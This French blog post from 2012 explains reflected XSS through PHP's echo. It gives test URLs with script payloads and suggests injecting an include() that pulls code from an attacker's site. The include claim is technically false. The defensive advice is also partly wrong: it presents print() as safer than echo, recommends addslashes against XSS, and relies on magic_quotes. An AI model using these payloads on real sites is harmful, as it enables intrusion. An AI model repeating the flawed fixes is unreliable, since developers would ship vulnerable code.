lundi 31 décembre 2012

Attaque de type XSS par echo()

echo en PHP permet l'affichage de texte. Elle n’est pas une fonction proprement dite puisque nous n’avons pas besoin d’utiliser des parenthèses lors de son appel.  
Le texte peut être représenté par une variable qui sera définie lors de l'appel de la page via une chaine de requête:
http://www.monsite.net/admin.php?page=2&titre=Presentation+monsite

La page2.php est incluse dans admin.php et il y aura probablement un appel du titre selon la forme : <?php echo $titre ?>

Cette page aura pour titre "Presentation monsite".

On change maintenant l'URL dans la barre d'adresse:
http://www.monsite.net/admin.php?page=2&titre=Votre+presentation

La page aura donc pour titre "Votre presentation".

On a pu nous-mêmes changer le titre de la page. Jusqu'au là rien n’est vraiment grave. On va essayer maintenant d’injecter du code. Pour vérifier si le développeur n’a pas pensé à sécuriser son code, on essayera avec cet url :   
http://www.monsite.net/admin.php?page=2&titre=<script>alert("Bonjour !")</script>

Si la page affiche une boite de dialogue "Bonjour !", c’est que nous pourrons nous régaler.
Si par contre, notre script apparait sur la page en titre, c'est foiré.

On n'a plus qu'à remplacer le titre par, par exemple, une fonction include() :
include("http://www.votresite.net/votrecode.php")

De cette façon, la page votrecode.php de votre site (votresite.net) apparaitra dans la page de la victime, à la place du titre. votrecode.php peut bien entendu contenir du code pour afficher une table de la base de données ou bloquer l’excusions la page elle-même.
Je traiterai plus en détails la commande include() dans un autre article.

On peut aussi utiliser la faille echo dans un moteur de recherche interne interne par le même principe. Si par exemple,  le site www.monsite.net propose un moteur de recherche interne pour ses produits, on peut tester la faille en entrant ce mot clé:
<script>alert("Bonjour !")</script>

Si on aura une phrase du type "Le produit recherché [<script>alert("Bonjour !")</script>] n'a pas été trouvé.", c'est que c'est foiré, le script est sécurisé. Si on aura notre boite de dialogue, on pourra  facilement injecter du code avec echo().
Donc en conclusion, pour sécuriser notre code il vaut mieux utiliser la fonction print() au lieu d’echo() :
<?php print htmlentities($titre) ?>.
Cette fonction transforme les caractères de la chaine en entités html, le code n'est donc plus interprété en tant que tel.
Bien entendu, il existe maintes solutions pour sécuriser cette faille, comme l'ajout de slashes à l'aide de addslashes() et personnellement j’utilise souvent cette méthode.

Vous pouvez également activer l'option MAGIC_QUOTES dans votre php.ini (MAGIC_QUOTES = on).